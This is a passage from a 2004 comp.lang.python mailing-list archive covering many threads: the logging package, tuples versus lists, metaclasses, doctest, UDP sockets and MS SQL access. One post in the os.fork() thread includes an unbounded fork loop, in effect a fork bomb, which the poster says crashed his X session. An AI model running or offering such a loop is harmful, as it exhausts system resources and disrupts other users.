make it a bit safer with import weakref _firsttime_dict = weakref.WeakKeyDictionary() def firsttime(obj): if obj in _firsttime_dict: return 0 _firsttime_dict[obj] = 0 return 1 def spam(): if firsttime(spam): print "Hello" print "called" > I have already used this 'pattern'. > But sometimes I don't want to expose the 'limit' on the argument list. > Actually I have resolved this by doing: > > def my_function(x, y, z, __max_depth = 20) > > But this means I can't use keyword argument in my function! then do def _my_function(x, y, z, __maxdepth = 20): .. do your recursive code here .. def my_function(x, y, z): return _my_function(x, y, z) How would you solve this problem using your stack depth function? Any solution I come up with is more complicated than what I just showed here and is no longer thread safe. > This is not a problem!. > getrecursiondepth is not intended for such things. ... > Ok, but remember the Python paradigm: we are adult programmers... As an adult I still don't know what you would want to use this value. The first example you give (static init) fails if someone looks at it funny. I'm adult, but I can't be that cautious. The second example (recursion), well I just don't see how knowing the depth makes the code any easier to write or clearer to understand. > Anyway I have asked why getrecursiondepth is not included in sys > module because many members of the PyThreadState struct are accessible > from Python. Maybe they're useful? Andrew dalke at dalkescientific.com From ajsiegel at optonline.com Fri Sep 3 07:25:30 2004 From: ajsiegel at optonline.com (Arthur) Date: Fri, 03 Sep 2004 11:25:30 GMT Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <mailman.2783.1094152072.5135.python-list@python.org> <M53NBls/KL8E089yn@the-wire.com> <87acw86she.fsf@uwo.ca> <1094189336.822541@yasure> Message-ID: <KwYZc.3303$Wv5.1119@newsread3.news.atl.earthlink.net> "Donn Cave" <donn at drizzle.com> wrote in message news:1094189336.822541 at yasure... > No one is saying you must use a list then. Do whatever you want! > But no one is forcing you to use a tuple, either (in this hypothetical > application), and if you need an index function, you know where to get >it. Which to me, is what it boils down to. What are you trying to do, and where's the fit. At a very practical level. I continue to think any general discussion of homogeneity/heterogenuity is misdirecting. Python relies on lists to be able to do duty in many different kinds of circumstances, as oppose to acccessing specialized containers, as in other languages. Clearly, in some of those circumstances homogeneity, in some sense or other, is to the essence. In others it clearly is not. It's the append method one is after, for example. In a dynamic app, append and ordered access solves a set of problems that may or may not be reasonablely conceptualized as related to homogeneity. So any attempt to describe anything about lists vs. tuples in terms of its data content always in the end seems unnecessarily reductionist, IMO - if that's the right word. Art From agriff at tin.it Sat Sep 4 16:54:01 2004 From: agriff at tin.it (Andrea Griffini) Date: Sat, 04 Sep 2004 20:54:01 GMT Subject: Basic tokenizer References: <Xns95578D624E7ADdaleriverhallsystems@192.168.8.150> <mailman.2754.1094103605.5135.python-list@python.org> <dr1ej05htuepi5hr766g0nf6ho1jpe31te@4ax.com> <lREZc.4858$Xi.2093@fe1.texas.rr.com> Message-ID: <sa6kj0lh6s9m4hshfij8l5448so71ks44k@4ax.com> On Thu, 02 Sep 2004 13:02:09 GMT, "Paul McGuire" <ptmcg at austin.rr._bogus_.com> wrote: >I'd be interested in your feedback on this pyparsing example: >http://www.geocities.com/ptmcg/python/fourFn.py.txt Like I said in another post I like pyparsing so far... but I tried writing a bare-bone calculator and I got this... http://www.gripho.it/barecalc.py.txt It implements support for 5 operations, a few functions and variables with assignment. Only imported module is "math", and the line count is not really much higher than fourFn.py. If you wonder if you can be able to write a full programming language parser this way I can ensure you that it's possible; I've been there a few times (of course I'm not talking about languages in which the grammar is a nightmare). On the plus if you need to do a few little hacks (like deciding how to parse something depending on the *meaning* of a symbol) it's really easy. For an example of this kind of hack in the barecalc calculator if an identifier is a known function then the parser requires "("+expr+")" and IMO this is crystal clear in the source. Andrea From peter at engcorp.com Mon Sep 27 12:27:36 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 Sep 2004 12:27:36 -0400 Subject: limitations of current logging package (was Re: ANN: Logging Package v0.4.9.4 released) In-Reply-To: <2e37dc1.0409260220.6ad5cb6c@posting.google.com> References: <2e37dc1.0409230442.7e74543d@posting.google.com> <4edc17eb.0409232031.66ad3d4e@posting.google.com> <2e37dc1.0409260220.6ad5cb6c@posting.google.com> Message-ID: <JqSdnXgsbLTkosXcRVn-vw@powergate.ca> Vinay Sajip wrote: > What exactly is hard to use? An example of the minimalist way of > logging: > > import logging > > logging.warn("This is your %s warning", "first") > #similarly you can call logging.debug(), logging.info() etc. The above shows clearly that one can use logging in a simple way, but as Michael points out, it's not well documented how simple it can be. Even having read this thread and knowing in advance that I could do that, I wasn't able to find the relevant information easily in the documentation with several minutes of reading (and several minutes covers a lot of territory normally). Even when I found the comments about the shortcut functions, I wouldn't have been certain how to use them (as above) because an example is missing. Unlike Michele, however, I find the logging package to be fairly straightforward and easy to use (though admittedly after a few months of disuse maybe I will not... but in such cases I tend to cut and paste the setup code from past projects and don't care). What I did find, however, were several limitations, at least one of which I think is easily resolved. 1) I wanted to log an except from a sys.excepthook handler. You can't, near as I can tell, without doing something like the following incantation: def excepthook(*args, **kwargs): root = logging.getLogger() fn, lno = root.findCaller() root.handle(root.makeRecord(root.name, logging.ERROR, fn, lno, 'uncaught exception', (), exc_info=args)) Yuck! Why is it so awkward? Well, it appears that it is impossible to pass exception info to a Logger, because the special "exc_info" argument is merely a boolean flag that tells it to retrieve the info from sys.exc_info(). What if sys.exc_info() doesn't have the data, as in the above real-world example, and others I could make up? Well, in that case you just create a Formatter() and use formatException()... except that there doesn't appear to be a (documented) way of getting the formatter out of the root Logger... I'm using fileConfig() to set things up, so I don't have direct access to any of the objects and don't see an obvious way past the above ugly code (which is hoisted out of Logger._log()). 2) I wanted my log files written to the application's own directory, rather than to the current directory. Using the fileConfig capability, you can't, at least not without using absolute paths (near as I can tell). My hack workaround was to prepopulate the logging module's vars() with one call _app_path, and then to reference that in the config file in the following way. This works only because (a) eval is used on the args, and (b) the os module has already been imported by logging.__init__: (in the main code:) logging._app_path = MY_APP_PATH logging.config.fileConfig(MY_CONFIG_FILE) (in the config file:) [handler_hand01] class=handlers.RotatingFileHandler level=NOTSET formatter=form01 args=(os.path.join(_app_path, 'bod.log'), 'a', 10000000, 9) Now I can sort of see why the second issue might be awkward to resolve (since it is in effect a problem that appears in various other ways in the Python world, with no standard solution, mainly because there's no simple "sys.getappdir()" or whatever it would be called). For the first problem, I think the exc_info "flag" should be changed so that if it contains actual exception info, or maybe just a tuple of three items, then *that* information is logged instead of a call to sys.exc_info() being made. But these are just warts, and I'm sure there are others, but I do find the logging facility to be fairly elegant, all things considered, and not very hard to figure out. (I'd never used it before this thread came up, but the timing was right and I just had a need for it, finally.) -Peter From reynirhs at mi.is Thu Sep 9 00:05:31 2004 From: reynirhs at mi.is (Reynir Stefánsson) Date: Thu, 09 Sep 2004 04:05:31 +0000 Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <413af268$0$19706$61fed72c@news.rcn.com> <rv1hhc.mtv2.ln@via.reistad.priv.no> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no> <un000uufg.fsf@mail.comcast.net> Message-ID: <2tjvj0ttc99io295ecg2l86lc2h4tug1jc@4ax.com> So spake Anne & Lynn Wheeler: >OSI can support x.25 packet switching and/or even the arpanet packet >switching from the 60s & 70s .... but it precludes internetworking >protocol. internetworking protocol (aka internet for short) is a >(non-existant) layer in an OSI protocol stack between >layer3/networking and layer4/transport. misc. osi (& other) comments >http://www.garlic.com/~lynn/subnetwork.html#xtphsp Wasn't the idea behind ISO/OSI that there should be One Network for everybody, instead of today's lot of interconnected nets? -- Reynir Stef?nsson (reynirhs at mi.is) From exarkun at divmod.com Fri Sep 3 10:08:08 2004 From: exarkun at divmod.com (Jp Calderone) Date: Fri, 03 Sep 2004 10:08:08 -0400 Subject: print with no newline In-Reply-To: <2prasrFo4rruU1@uni-berlin.de> References: <2prasrFo4rruU1@uni-berlin.de> Message-ID: <41387AC8.9040407@divmod.com> Paul Watson wrote: > I thought that using a comma at the end of a print statement would suppress > printing of a newline. Am I misunderstanding this feature? How can I use > print and not have a newline appended at the end? > Print doesn't want to leave the *final* line without a newline. sys.stdout.write() doesn't care if your shell prompt gets mixed in with the last line of output. You'll need to use the latter if that's what you want. exarkun at boson:~$ python -c "import sys; sys.stdout.write('here')" hereexarkun at boson:~$ Jp From michele.simionato at gmail.com Mon Sep 6 03:38:48 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 6 Sep 2004 00:38:48 -0700 Subject: doctest.Tester is deprecated Message-ID: <4edc17eb.0409052338.69012ee7@posting.google.com> Some time ago I hacked a custom solution to run doctests on text files containing documentation. The solution involved this kind of game: tester=doctest.Tester(globs={},verbose=1) tester.runstring(mytest) It worked fine, but now with Python 2.4.a3 I get DeprecationWarning: class Tester is deprecated; use class doctest.DocTestRunner instead The problem is that DocTestRunner is not a replacement for Tester, it has no runstring method! So, how what am I supposed to do? Michele Simionato From carribeiro at gmail.com Mon Sep 27 08:59:23 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 27 Sep 2004 09:59:23 -0300 Subject: Metaclass with name overloading. In-Reply-To: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> Message-ID: <864d370904092705596edbf327@mail.gmail.com> On 27 Sep 2004 13:33:33 +0200, Jacek Generowicz <jacek.generowicz at cern.ch> wrote: > <snip> > I would then like the dictionary received by OverloadingClass.__new__ > to look something like this: > > {'att': (1,3), > 'meth: (<function meth at 0x4018e56c>, <function meth at 0x4018e80c>) } > > IOW, each name bound in the class definition should have associated > with it, a tuple containing all the objects which were bound to that > name, rather merely keeping the most recent binding for any given > name. > > I was wondering whether it would be possible to achieve this by > forcing Python to use some dicitonary proxy (which accumulates values, > rather that keeping just the last value to be associated with a key), > instead of dict, when executing the class definiton? > > Is something like this at all possible in pure Python? or does in > require fiddling around in the guts of the parser? No, you can't, and it's not just a parser issue. Python uses direct C calls to the native dict type. It's hard coded, and I don't see any obvious or easy way to override it except by rewriting all such code. The metaclass receives the dictionary after all declarations were collected, and then it's too late to act upon it. Now that we're talking about it, I would like to discuss how this type of hack could possibly be done in a future version of Python (probaly Python 3.0, I don't think it's anywhere close to possible for Python 2.x). 1) One such idea is to provide the metaclass with a __dict__ factory. For example: class MyMetaclass(type): def __new__(...): ... def __dict__(cls): return CustomDict() ... where CustomDict is a user-defined mapping type that can store more information about the entries than the native dict: -- CustomDict[name] would retrieve a tuple containing all entries, in reverse order. CustomDict[name][0] would retrieve the last definition. -- The order of the definitions would be preserved, and the iterators (iterkeys, iteritems, itervalues) would all iterate over the entries in the order of the definition. By using a user-defined dict, we would still use the default dict most of the time without any noticeable performance hit, but would be able to change the guts of the class declaration system whenever needed. 2) Another (crazy) idea is to have the possibility to declare anonymous class members, such as in: class MyClass: """the first anonymous member is the doc string""" """the second anonymous member is __anon__[0]""" 1.5 # __anon__[1] = 1.5 By anonymous members, I mean anything that is not a def, a nested class, or a value that wasn't assigned or bound to name. That's would be nice to have too :-) ------- p.s. In the particular case of the original poster, I'm wondering what kind of application did he had in mind. I had similar needs while studying some alternatives to declare some types of data structure in Python -- forms, reports, webpages, etc -- stuff where the order of the entries is potentially as important than the actual member names. I'm really curious about it... -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From heikowu at ceosg.de Sun Sep 19 08:19:54 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Sun, 19 Sep 2004 14:19:54 +0200 Subject: New Programmer and Python In-Reply-To: <719qk0pe3q61u3h24pvi0svre02h0qeav8@4ax.com> References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> <roy-6664E4.12362218092004@reader1.panix.com> <719qk0pe3q61u3h24pvi0svre02h0qeav8@4ax.com> Message-ID: <200409191419.54401.heikowu@ceosg.de> Am Sonntag, 19. September 2004 08:29 schrieb Andrea Griffini: > I don't agree that nobody in either camp is ever going to be convinced > to change their mind. I don't agree either. I started programming in C, switched to Perl some time ago, and then tried Python just for fun. As the story's been told a hundred times, I was at first appaled at the lack of block delimiters, but currently I wouldn't want to live with them again... It's just a matter of trying it out and becoming accustomed to it. Heiko. From bradtilley at usa.net Tue Sep 21 14:15:10 2004 From: bradtilley at usa.net (Brad Tilley) Date: Tue, 21 Sep 2004 14:15:10 -0400 Subject: class size Message-ID: <cipr3e$q72$1@solaris.cc.vt.edu> How large (lines of code) should a class be before one should split it into smaller classes? Is there a general rule on this? How many functions should a class contain? Are there limits (theoretical or practical) that people learning classes should adhere to? From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Thu Sep 2 08:16:54 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Thu, 2 Sep 2004 14:16:54 +0200 Subject: python.NET vs. IronPython References: <mailman.2758.1094113688.5135.python-list@python.org> <xzh9kwuw4lj8$.18shw4j93827i.dlg@40tude.net> <4136fe58$0$285$4d4ebb8e@news.nl.uu.net> <VVDZc.72771$1V3.1762544@twister2.libero.it> Message-ID: <ch77b0$8gj$2@news-reader4.wanadoo.fr> And for all : partial (not finished) * sorry for my english * From cbuffer at NOSPAMrosecott.ukfsn.org Tue Sep 14 19:31:26 2004 From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes) Date: Wed, 15 Sep 2004 00:31:26 +0100 Subject: #comments References: <pan.2004.09.13.21.27.31.291385@NOSPAMrosecott.ukfsn.org> <ad052e5c.0409132051.1537e8f9@posting.google.com> Message-ID: <pan.2004.09.14.23.29.57.27660@NOSPAMrosecott.ukfsn.org> On Mon, 13 Sep 2004 21:51:17 -0700, Dan Bishop wrote: > > This isn't related to your question, but why are you using two assignment > statements when one will do? > > myInput = raw_input("Type something ") All to do with my background-learning by trial and error. I was simply trying various ways of assignment. When one gets long in the tooth read stuff tends to evaporate. Got to Handling Exceptions in van Rossum's tutorial today and saw the first instance of print itemA , itemB Now I shall not forget and have a mental link with while something : somethingElse Two pains for the price of one. And thanks to Dan Perl; there's a name to conjure with:) Ken. From pfortin at pfortin.com Wed Sep 15 21:20:23 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Wed, 15 Sep 2004 21:20:23 -0400 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> <cia9if$v1$06$1@news.t-online.com> <mO32d.4796$VV2.1807@trndny06> Message-ID: <20040915212023.23b6fe0b@gypsy.pfortin.com> On Wed, 15 Sep 2004 22:58:26 GMT Raymond wrote: > [Pierre Fortin] > > > I'm just looking to make my code more readable and > > > self-documenting... > . . . > > > osstat = todict(os.stat("%s" % path), > > > "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctim > > > e") > > [Diez B. Roggisch] > > Use > > > > dict(zip(["mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime"], > > os.stat("%s" % path))) What does zip() have to do with this situation...? > Why build the dictionary at all. Use the named attributes provided by > os.stat: > > mode = os.stat(f).st_mode > > That should meet the original readability goals. That'll teach me to use examples that already have named attributes... :^) I'm looking to do this generically -- ignore the few that do have named attributes; there are plenty without that I'd like to address... The goal is to use the dict in string mapping keys as indicated in my original post. From robmccrea at spaamadelphiaspremoveam.net Mon Sep 13 19:58:20 2004 From: robmccrea at spaamadelphiaspremoveam.net (Rob McCrea) Date: Mon, 13 Sep 2004 19:58:20 -0400 Subject: newbie sending hex values over UDP socket In-Reply-To: <e2491a75.0409110433.2e9c00c5@posting.google.com> References: <e2491a75.0409091744.53fab172@posting.google.com> <chr22o$7ra$1@news.service.uci.edu> <e2491a75.0409100843.79a49a7a@posting.google.com> <QYGdnckJ3ukLf9zcRVn-sQ@powergate.ca> <e2491a75.0409110433.2e9c00c5@posting.google.com> Message-ID: <mb2dnVtL1YGUqdvcRVn-tg@adelphia.com> Bill Seitz wrote: > Peter Hansen <peter at engcorp.com> wrote in message news:<QYGdnckJ3ukLf9zcRVn-sQ at powergate.ca>... > >>Bill Seitz wrote: >> >>>Are you saying I can just do something as simple as >>>sock.send('ri0') >>>? >> >>Exactly. That sends three bytes corresponding to the >>"raw" byte values you showed before. >> >> >>>(This interface is typically used over a modem connection between 2 >>>embedded/hardware devices, if that provides a clue/context. So it's >>>entirely possible that I've thought the situation was more complicated >>>than it really is because the other guy is used to dealing with these >>>low-level devices...) >> >>The beauty of Python... makes working with even low-level hardware >>a pleasure compared to many languages. :-) >> >>-Peter > > > > Excellent - now how about calculating a parity-check byte? well, I'm new to python, but the language hardly matters here, i believe. is the parity a bit, a few bits, or a full byte? granted the bits will be stored in a byte, but we need to know exactly, of course. I believe parity usually indicates a single bit (on or off), but I don't trust anybody. I'll mention these hard-coded example, but I wouldn't be at all surprised if python has built in bit-methods. I number the 8 bits in a byte from 7 to 0, where 7 is the high bit. if I wanted to check the bit number 5 in thatbyte, I would do simply, (well, as I said, I'm new, I'm going to use extra parens) #untested code if (thatbyte & (2**5)) == (2**5): print 'Bit 5 is on.' else: print 'Bit 5 is off.' for more than one bit, say the "first" 3 bits: 7, 6, and 5: #untested code for bit in [7, 6, 5]: if (thatbyte & (2**bit)) == (2**bit): print 'Bit ' + str(bit) + 'is on.' else: print 'Bit ' + str(bit) + 'is off.' Its bit math. I think those're right. hope so. Rob From gjbaker at usa.com Tue Sep 28 10:47:06 2004 From: gjbaker at usa.com (Greg) Date: 28 Sep 2004 07:47:06 -0700 Subject: os.system vs. Py2Exe References: <81a41dd.0409280200.1a74edd1@posting.google.com> Message-ID: <77ce170c.0409280647.7e98e76d@posting.google.com> export at hope.cz (Lad) wrote in message news:<81a41dd.0409280200.1a74edd1 at posting.google.com>... > I used Py2exe to compile my script( I use XP). > The compiled script works OK on my XP where Python is installed. > But when I install the compiled exe to another computer, > > os.system > > causes the following error: > Bad file or command name > > Any help would be appreciated. > Lad Did you install the python dll as well? From PPNTWIMBXFFC at spammotel.com Thu Sep 9 03:36:04 2004 From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) Date: Thu, 09 Sep 2004 09:36:04 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090413356356d84d@mail.gmail.com> <CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com> <mailman.2907.1094416926.5135.python-list@python.org> <1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com> <Jvo%c.214562$OR2.9955162@news3.tin.it> <mailman.3002.1094600560.5135.python-list@python.org> <1gjsc88.1ufkzncvrngdN%aleaxit@yahoo.com> <mailman.3032.1094650922.5135.python-list@python.org> <1gjt1ki.147l15b1p08xehN%aleaxit@yahoo.com> <864d3709040908102310d4d45@mail.gmail.com> Message-ID: <opsd1t2eb035jo5o@news.gmane.org> > My proposal is to create a new category in the documentation for all > *builtin constructors*: > > bool(), complex(), dict(), float(), int(), list(), object(), str(), > tuple() > > All built-in constructors share common behavior -- they return a new > object of the given type, using the argument as an initializer. > Reading about how constructors work in general will help one to > develop a broader, and better, understanding of their real power. As you said: They are constructors... hence this are all classes (or are going to be). According to the Python style-guide they are supposed be written with CamelCase. If those would be written as: Bool(), Complex(), Dict(), Float(), Int(), List(), Object(), Str(), Tuple() And in the case of sum() we keep it lower-case to indicate an action that is taken on the input. But it should have been File() instead of file()... it would have been clear to the programmer that he is dealing with a class and can make (new) instances (or derive) from them (in the future maybe) In the case of file() (which is not preferred over open() and is not a synonym - I know). It was a good move to rename open() to file() [open -> what?; file --> Aha, we end up having a file-object!] but then it was only half the step because File() would have been the right naming choice... I already proposed that and it turned out that I was a hobgoblin and against that you cannot defend yourself. They proposed to create create references (Bool = bool, Complex = complex, etc.) if I couldn't live with it - well, I struggle but I still live and hope for Python3K. 8o) Cheers, Marco From jmeile at hotmail.com Tue Sep 21 15:48:32 2004 From: jmeile at hotmail.com (Josef Meile) Date: Tue, 21 Sep 2004 21:48:32 +0200 Subject: python ides In-Reply-To: <2rb9iiF16q2g8U1@uni-berlin.de> References: <cip735$e01$1@sea.gmane.org> <mailman.3662.1095789622.5135.python-list@python.org> <2rb9iiF16q2g8U1@uni-berlin.de> Message-ID: <41507c51$1@pfaff2.ethz.ch> > kevin wrote: > >> Since i saw a post about a troll saying python doesnt have good ides(not >> true) , i would like to say that python has the best ide ever! and i > > > > kevin wrote: > >> I am talking about pure functionality we all want, advanced debugging , >> inline object information , fast proyect development,etc. > > ^^^^^^^ > > julio wrote (in "python is going to die! =)"): > > > just develop some custom system scripts, but when 90% of the evelopers > > need to consider how many developers you will find to start a proyect, > ^^^^^^^ > > Of course, the message headers tell us everything we really need to know... Nice one Sherlock ;-) From rattan at cps.cmich.edu Tue Sep 14 16:19:11 2004 From: rattan at cps.cmich.edu (Ishwar Rattan) Date: 14 Sep 2004 13:19:11 -0700 Subject: os.fork() question? References: <938a4680.0409131305.2516b461@posting.google.com> <mailman.3271.1095110255.5135.python-list@python.org> Message-ID: <938a4680.0409141219.705ce901@posting.google.com> Erik Heneryd <erik at heneryd.com> wrote in message news:<mailman.3271.1095110255.5135.python-list at python.org>... > Ishwar Rattan wrote: > > Info at http://doc.python.org/ on os.fork() says that > > it has 'unix' semantics (on a UNIX box) on return values > > child pid in parent, 0 in child, no mention of failure? > > > > So, what does it return on failure? I tried it under Linux > > with Python-2.3.4, after few thousand forks the system just hangs! > > (does not return/report fork failure) > > It raises OSError. > > > Erik The following code when executed kills controlling xterm+X-window system, but the system does not hang. -ishwar --- import os, signal, sys, time def child(): signal.pause() print 'this from child with pid: ', os.getpid() sys.exit(2) def main(): print 'forking child..' while 1: try: cpid = os.fork() except OSError: raise 'fork failed..' if cpid == 0: child() else: print 'fork success..', cpid main() ----- From danperl at rogers.com Tue Sep 28 11:12:49 2004 From: danperl at rogers.com (Dan Perl) Date: Tue, 28 Sep 2004 11:12:49 -0400 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <2rt8rsF1ej1qmU1@uni-berlin.de> <415976d1$0$23090$ba624c82@nntp05.dk.telia.net> <10liubfprlt4g9d@corp.supernews.com> <41597d62$0$23054$ba624c82@nntp05.dk.telia.net> Message-ID: <_ISdnWQ35Zzp4sTcRVn-vg@rogers.com> The keys in your dictionary are numbers and the variable 'character' in your program is a character. That means one is equivalent to a=1, the other one is equivalent to a="1". Either make the keys in the dictionary strings (i.e., {"1":"one", ...) or convert 'character' to an integer with int( ). "Ling Lee" <janimal at mail.trillegaarden.dk> wrote in message news:41597d62$0$23054$ba624c82 at nntp05.dk.telia.net... > So this code should work: > > indput = raw_input(" Tell me the number you want to transform to textuel > representaion") > try: > indput = str(int(indput)) > except ValueError: > print "No, you need to give me an integer." > > List = > {1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9:"nine"} > output = [] > for character in indput: > output.append(List[character]) > print ', '.join(output) > > I read it like this first output is an empty list, then for each character > in the input it will be run through the "List" and when it find the number > it will apend it to the output, and in the last print line it will join > the output ( if there has been more than one number) and print it- > > But if I run the program and type in the number 34 I get the error: > > Traceback (most recent call last): > File "C:/Python23/taltilnumre.py", line 10, in -toplevel- > output.append(List[character]) > KeyError: '3' > > How can that be, it looks right to me ... > > Thanks > > > "Jeffrey Froman" <jeffrey at fro.man> wrote in message > news:10liubfprlt4g9d at corp.supernews.com... >> Ling Lee wrote: >> >>> After I have gotten the lenght of the string, I will write a loop, that >>> goes through the dictionary as many times as the lengt of the string, >>> and >>> the gives me the corresponding numbers, the numner 21 would go 2 times >>> through the loop and give me the output two one. >> >> There is no need to count the length. You can iterate over each character >> in >> a Python string (or other object) without first calculating the size of >> the >> loop, like so: >> >> output = [] >> for character in indput: >> output.append(List[character]) >> print ', '.join(output) >> >> As Russel pointed out, you'll have to iterate over indput as as a >> string -- >> not convert it to an integer first, because you can't iterate over an >> integer's digits, but you can iterate over a string's characters. >> >> Jeffrey > > From tim.golden at viacom-outdoor.co.uk Thu Sep 23 04:23:09 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Thu, 23 Sep 2004 09:23:09 +0100 Subject: Access to MS SQL from Linux? Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434AA8@iron.ima.umn.edu> [Joe Wong] > Hi, > Is there any Python library for accessing MS SQL server > from a Linux machine? Either open source or commerical one will do for me. (Assuming you have FreeTDS installed: http://www.freetds.org/): http://www.object-craft.com.au/projects/mssql/ or http://www.object-craft.com.au/projects/sybase/ will both do the trick. Or if you have ODBC: mxODBC: http://www.egenix.com/files/python/mxODBC.html TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From carribeiro at gmail.com Mon Sep 6 09:46:12 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 6 Sep 2004 10:46:12 -0300 Subject: Question: tools for business apps development In-Reply-To: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> References: <mailman.2847.1094238878.5135.python-list@python.org> <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> Message-ID: <864d370904090606465938fea5@mail.gmail.com> On Sun, 5 Sep 2004 18:41:03 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > OK, but, native to WHAT platform...? Later you mention it must be all > done with free tools... Qt on Windows isn't. QtDesigner is good, but Qt > only free for (free-software dev't on) Unix/Linux and Mac, not for (any > kind of dev't on) Windows. It will run in Windows, but it's supposed to be multiplatform - whatever it means nowadays :-) My friend is toying with the idea to turn his company into a full Linux based shop. Unfortunately, it's not a decision that he can't take alone. For now he already managed to convince his partners to use OpenOffice for a lot of stuff, but a few things still are done using MS Office based tools. Some internal apps use MS Access -- the company is small, so there is no need for SQL Server. And web-based apps are thought to be limited, not interactive or responsive enough for the job (the dependence on heavy Javascript programming doesn't help it either). So I can't use Qt. I've evaluated some wxWidgets-based tools, but found them not quite ready for prime time. And I'm not inclined to study XUL just to do it, but I can change my mind. I don't feel comfortable to use a browser extension to write a full fledged app -- it may be a prejudice of mine (I don't like browser-based Java apps, either, although its a completely different beast), and a little reading may help to dispell it. If I was running a commercial shop now, I would probably use Delphi. That's what I used a long time ago, and there is still a sizeable local community still using it (regardless of Borland's diminishing market share). I'm still pondering my choices. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From anon at anon.net Fri Sep 10 15:51:33 2004 From: anon at anon.net (anon) Date: Fri, 10 Sep 2004 12:51:33 -0700 Subject: attribute assignment effects all class instances References: <090920041659242407%anon@anon.net> <n482k05n00ecb8ajbgg7gs3g6u8s44sv7b@4ax.com> Message-ID: <100920041251330709%anon@anon.net> In article <n482k05n00ecb8ajbgg7gs3g6u8s44sv7b at 4ax.com>, Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote: > On Thu, 09 Sep 2004 16:59:24 -0700, anon <anon at anon.net> declaimed the > following in comp.lang.python: > > > > In module node: > > > > class Node: > > > > > > > > Here's the wierd thing, in another module I have: > > > > node.adjacent[left] = y > > > > where node is an instance of the Node class. This statement assigns > > I'd recommend some name changes somewhere... Too many "nodes" > here... > > Your "another module" had to have done an "import node" (since > that is the name you claim at the top). You then had to perform > something like: "node = node.Node()" to create the instance, but that > would also supersede the module name node... Dennis-- I actually imported the module as "from node import *", so I haven't run into a name conflict (apparently). Though I see your point for naming things differently. Peter-- Sorry for my miswording of assignment to shared class data. Everyone-- Thank you very much for your assistance. I was unaware that the default arguments were created only once and then reused for each instance. The situation makes complete sense now. --Greg From just at xs4all.nl Tue Sep 14 14:23:22 2004 From: just at xs4all.nl (Just) Date: Tue, 14 Sep 2004 20:23:22 +0200 Subject: My first attempt at subclassing....Gahh! References: <95c29a5e.0409131910.5c916122@posting.google.com> <1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com> <mailman.3322.1095185945.5135.python-list@python.org> Message-ID: <just-C5D528.20232114092004@news1.news.xs4all.nl> In article <mailman.3322.1095185945.5135.python-list at python.org>, John Lenton <john at grulic.org.ar> wrote: > On Tue, Sep 14, 2004 at 10:08:25AM +0200, Alex Martelli wrote: > > Robin Siebler <robin.siebler at palmsource.com> wrote: > > > > > I want to use filecmp.dircmp, but it only prints to the screen, there > > > is no way to capture the output. So I thought that I should simply be > > > > Il prints to sys.stdout, which may be the screen or elsewhere, therefore > > there IS of course a way to capture the output: > > > > import sys, filecmp, cStringIO > > > > save stdout = sys.stdout > > I believe sys.__stdout__ is there for the purpose of not having to > 'save' sys.stdout in this way. Nope, it's there so you can get at the original stdout, which is not necessarily the same thing... Just From bokr at oz.net Sun Sep 5 15:35:23 2004 From: bokr at oz.net (Bengt Richter) Date: 5 Sep 2004 19:35:23 GMT Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <opsdpkf1d5433nmu@news.cisco.com> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <opsdpk6kx9433nmu@news.cisco.com> <mailman.2775.1094145196.5135.python-list@python.org> <donn-8ED685.11274102092004@gnus01.u.washington.edu> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> <roy-FE1D07.08200705092004@reader1.panix.com> <chf1e4$u84$03$1@news.t-online.com> <roy-D04C66.10354305092004@reader1.panix.com> Message-ID: <chfppr$iuv$0$216.39.172.122@theriver.com> On Sun, 05 Sep 2004 10:35:43 -0400, Roy Smith <roy at panix.com> wrote: >I asked: >> How is a class instance's mutability any less of disqualifier for >> key-ness than a list's mutability? > >Benjamin Niemann <pink at odahoda.de> wrote: > >> a = [1, 2, 3] 